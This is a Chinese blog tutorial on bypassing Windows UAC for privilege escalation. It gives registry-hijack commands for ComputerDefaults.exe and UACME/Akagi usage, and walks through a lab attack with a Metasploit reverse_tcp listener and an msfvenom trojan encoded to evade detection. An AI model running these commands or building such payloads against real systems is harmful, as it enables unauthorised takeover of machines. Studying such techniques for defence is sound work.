UAC绕过提权_uac白名单 提权-程序员宅基地

技术标签: # 内网渗透-提权  网络安全  

UAC:用户账户控制 (User Account Control )
         开启用户账户控制后,每个需要使用管理员访问令牌的应用都必须提示征得用户同意。 UAC 限制所有用户非 RID 500 的管理员用户 使用标准用户登录到他们的计算机,并在标准用户的安 全性上下文中访问资源和运行应用。 系统会为其创建两个单独的访问令牌:标准用户访问令牌和管理员访问令牌。 标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序)。当 管理员需要执行高权限管理任务时, Windows 会自动提示用户予以批准,同意后则允许使用管理员访问 令牌。

UAC白名单

        即不询问直接启动的应用,如 slui.exewusa.exetaskmgr.exemsra.exe、 eudcedit.exe、eventvwr.exe.CompMgmtLauncher.exe rundll32.exe explorer.exe

白名单程序特性:Manifest 数据中 autoElevate 属性的值为 True;可以用Sigcheck检测。

UAC绕过

以ComputerDefaults.exe为例

sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe

找出所有具有autoElevate 属性的程序并定向输出到

strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > 1.txt
        使用进程监控器 process monitor 监控某白名单程序进程的所有操作行为,发现进程会先查询注册表A的数据,但是查不到,就会去查B的,再查不到,就继续去查C。我们在注册表A中将要执行的攻击载荷路径分别写入 默认 值和 “DelegateExecute” 值。
ComputerDefaults.exe为例
sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
使用进程监控器 process monitor 监控 ComputerDefaults.exe 进程的所有操作行为

添加注册表

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "C:\windows\system32\cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
HKCU的注册表当前用户可修改;标准用户对该注册表键值有修改权限,并且对 HKCU 的修改会自动同步到 HKCR。

工具

官网地址(下载慢)

Sigcheck https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
Strings https://learn.microsoft.com/en-us/sysinternals/downloads/strings

国内地址(下载快)

https://download.csdn.net/download/m0_65554829/88547642

利用UACME提权

gethub地址:https://github.com/hfiref0x/UACME/releases/tag/v3.6.5

私人地址:直接下载链接https://dl-download.csdn.net/down11/20231117/f8e7781624a66d6da9f3aa87a9831e28.zip?Expires=1700230423&OSSAccessKeyId=STS.NTSjB9EvV4Wkv8XYapjniF2VB&Signature=jZr3NJnxc%2FyHFi9opG%2BI3ieHy4s%3D&response-content-disposition=attachment%3Bfilename%3D%22UACME-3.6.3%2520%25E5%25B7%25B2%25E7%25BC%2596%25E8%25AF%2591.zip%22&Date=1700230423&security-token=CAISgwJ1q6Ft5B2yfSjIr5fmIfiNqKl3g5WAdB7pvWElZuFFqff9oDz2IHxFf3FoCOEYv%2Fk1nWlU6%2FoTlqF%2FTIBDQUvNYZPPSiHRJFrzDbDasumZsJYw6vT8a1fxZjf%2F2MjNGaCbKPrWZvaqbX3diyZ32sGUXD6%2BXlujQ%2BDr6Zl8dYY4UxX6D1tBH8wEAgp5tI1gQhm3D%2Fu2NQPwiWf9FVdhvhEG6Vly8qOi2MaRmHG85R%2FYsrZJ%2FtuvecD%2FMJI3Z8kvC4uPsbYoJvab4kl58ANX8ap6tqtA9Arcs8uVa1sruEnXaLKMo4wxfVIjP%2FFmRvIVtprnieY9tuiWkJ%2Fs25qImF%2BBkY61GoABrSvSxqN%2BO2SKDSI3ekkKA1i9Da7Vb8LjUDMiDPrdLALwtIOSkNTZC0QoVf4%2B7g3mqTCNTJX%2BsdEFlZDDzBnZJwnYu4g4ITkhSgknKJexR0n6GcNjC6mme3257nISthAe2YDb4JJQcHsc5y5Xb0f8KwDe2l5lkhmhQk2JhT6g2AQgAA%3D%3D

工具介绍

        UACME是一个专用于绕过Windows UAC的开源项目,目前已包含了70多种Bypass UAC的方法。

步骤

环境搭建

net user test1 /add

net localgroup administrators test1 /add

钓鱼绕过提权

#将MSF生成的payload.exe上传到目标服务器并运行payload.exe

msfconsole

#在msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 8888
run

getuid

shell

chcp 65001

net user test1

#尝试添加用户#失败

net user test2 /add

upload ~/upgrade/UACME-3.6.3 c:/phpstudy_pro/WWW/pikachu/vul/rce/uac

#生成一个新木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.129 lport=7777 -i 3 -e x86/shikata_ga_nai -f exe -o 7777.exe

#上传木马

upload ~/7777.exe ./

upload ~/upgrade/Akagi64.exe ./

#进入shell

shell

chcp 65001

#另开一个终端设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.129
set lport 7777
run

#运行木马

.\Akagi64.exe 33 .\7777.exe

akagi.exe [Key] [Param]
#Key ,指定要使用的方法的编号
#Param ,指定绕过 UAC 后要运行的程序或命令,默认启动一个关闭了 UAC CMD 窗口
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_65554829/article/details/134469986

智能推荐

物联网-物联网智能数据处理技术_物联网数据处理技术-程序员宅基地

文章浏览阅读1.9w次,点赞6次,收藏39次。物联网数据处理技术的基本概念物联网数据的特点海量 动态 多态 关联从无线传感器网络TinyDB数据库结构中可以清晰地看到物联网数据“海量、动态、多态、关联”的特点物联网中的数据、信息与知识物联网数据处理关键技术数据存储 数据融合 数据挖掘 智能决策物联网与云计算云计算产生的背景云计算的分类IaaS—基础设施即服务,只涉及到租用硬件,是一种..._物联网数据处理技术

win10找不到打印机_Win10系统如何连接和找寻打印机?-程序员宅基地

文章浏览阅读4.8k次。很多朋友改完win10系统就找不到打印机设备,无法设置默认打印机,今天来解析这个问题!01进入设置界面通常,对于已经启动了并连接到了网络的打印机,会很容易被系统识别到,只不过需要确保打印机和电脑是连接的同一个网络。点击开始菜单,进入设置界面。选择设备。02添加打印机和扫描仪选择打印机和扫描仪,点击添加打印机或扫描仪。系统将会自动搜索识别,并将搜索到的设备罗列出来。接着,找到并点击您想要添加的打印机..._w10打印机在哪里找

【存储缓存】bcache原理及实践-程序员宅基地

文章浏览阅读9.1k次,点赞5次,收藏29次。bcache是linux内核块设备层的cache。主要是使用SSD盘在IO速度较慢的HDD盘上面做一层缓存,从而来提高HDD盘的IO速率。一个缓存设备(SSD)可以同时为多个后端设备(HDD)提供缓存。既然是缓存,那自然就会想到缓存策略,bcache支持三种缓存策略....................._bcache

linux amixer原理,amixer和alsamixer使用说明-程序员宅基地

文章浏览阅读658次。amixer和alsamixer使用说明amixer和alsamixer使用说明amixer和alsamixer说明本文主要解答:1. amixer与alsamixer的区别2. amixer与alsamixer的使用alsamixer与amixer的区别alsamixer是Linux音频框架ALSA工具之一,用于配置音频各个参数;alsamixer是基于文本图形界面的,可以在终端中显示.通过键盘..._amixer

web搭建,dns服务器搭建_dns和web服务器搭建-程序员宅基地

文章浏览阅读2.2k次,点赞3次,收藏15次。安装Web服务1、www(万维网服务),主要应用于搭建web站点2、中间件,是用承载我们的Web站点,那么什么是中间件(如,iis、apache、nginx、tomcat、jboss等),Web网站没有中间件是不能运行。3、如何安装windows IIS服务器管理器–角色–添加–web服务器–4、web站点的访问方式有三种(1)通过ip访问,一般是有多个公网地址,可以每一个站点分配一个ip(这种情况用的极少)原因:Ip很难记,公网地址需要收费(2)多端口访问,web站点默认是80端口,80_dns和web服务器搭建

Java时间处理工具类TimeUtils_java 时间工具类-程序员宅基地

文章浏览阅读2.5k次,点赞2次,收藏5次。以上方法笔者觉得没有必要再封装进工具类了,直接调用就行而其他的处理可以参考笔者的时间处理工具类 TimeUtils 的以下方法时间格式转化:转化成时间戳:转化成 LocalDateTimeformat():转化成格式化日期字符串时间获取:获取当前时间戳(精确到毫秒):获取当前的年(仅数值):获取当前的月(仅数值):获取当前的日(仅数值):获取当前的年(格式为 yyyy 的字符串):获取当前的年月(格式为 yyyy-MM 的字符串)_java 时间工具类

随便推点

Linux V4L2子系统分析(一)_v4l2_subdev_call-程序员宅基地

文章浏览阅读4.2k次,点赞12次,收藏72次。1.概述Linux系统上的Video设备多种多样,如通过Camera Host控制器接口连接的摄像头,通过USB总线连接的摄像头等。为了兼容更多的硬件,Linux内核抽象了V4L2(Video for Linux Two)子系统。V4L2子系统是Linux内核中关于Video(视频)设备的API接口,是V4L(Video for Linux)子系统的升级版本。V4L2子系统向上为虚拟文件系统提供了统一的接口,应用程序可通过虚拟文件系统访问Video设备。V4L2子系统向下给Video设备提供接口,同时管理_v4l2_subdev_call

服务器基础配置:浪潮服务器配置ILO地址、修改管理员密码、查看虚拟化是否打开:_浪潮服务器修改管理口密码-程序员宅基地

文章浏览阅读1w次。使用场景:因为在公司机房中的服务器我们在使用需要对他做一些类似于初始化的配置,分别是三个,——》第一个是配置服务器的ILO地址,这个是我们通过网络打开一个Web页面对服务器进行一些操作;——》第二个是对管理用户的密码进行修改,这个是因为不同的服务器初始的管理员的密码也许是不一样的,我们将其修改为统一的方便记忆也方便管理;——》第三个就是开启服务器的半虚拟化功能,这个是我们的公司的也许需要服..._浪潮服务器修改管理口密码

php如果字符串有1 3 5,PHP常用字符串函数小结-程序员宅基地

文章浏览阅读87次。PHP常用字符串函数小结来源:程序员人生 发布时间:2015-01-22 09:02:32 阅读次数:1594次1、判断类型的函数is_bool() //判断是不是为布尔型is_float() //判断是不是为浮点型is_real() //同上is_int() //判断是不是为整型is_integer() //同上is_string() ..._php 字符串1-5位

matlab从flove,Matlab玩出新高度,变身表白女友神器_善良995的博客-程序员宅基地-程序员宅基地

文章浏览阅读431次。原文作者:善良995原文标题:Matlab玩出新高度,变身表白女友神器发布时间:2021-03-19 13:36:02Matlab还可以这样玩儿?每逢节日愁哭程序员,不知道该送什么给女朋友,在这里教你用Matlab玩儿出属于程序员的浪漫,送给她一整天的惊喜^^一、效果图先来看看效果图:怎么样,这礼物是不是很用心?是不是很特别?是不是很程序猿?(斜眼笑~)二、完整模板代码当然,我怎么忍心让好男孩们千..._clc clear [x,y,z] = meshgrid(linspace(-3,3,101)); f = -x.^2.*z.^3-(9/80)

字符数组和字符串指针在内存中存储_使用字符串指针定义的变量储存在内存中的-程序员宅基地

文章浏览阅读5.5k次,点赞2次,收藏4次。#include#includechar* strcpy1(){ char *p = "hello kitty"; printf("%s\n", p); return p;}int main(){ printf("%s", strcpy1()); return 0;}字符串在内存中存储在只读数据段,当定义一个字符串指针时,该指针指向这个只读区域,即使在函数中将这个指针返回_使用字符串指针定义的变量储存在内存中的

ubuntu18.04下mysql必须要sudo权限才能打开_在ubuntu中mysql登录时为什么要加sudo-程序员宅基地

文章浏览阅读4.1k次,点赞5次,收藏21次。问题:ubuntu18.04下mysql必须要sudo权限才能打开解决办法:通常是 因为,用户的密码加密方式 不正确导致的。1、sudo mysql -u root -p2、use mysql;3、update user set plugin = 'mysql_native_password';4、flush privileges;5、mysql -u root -p,输入密码登录成功..._在ubuntu中mysql登录时为什么要加sudo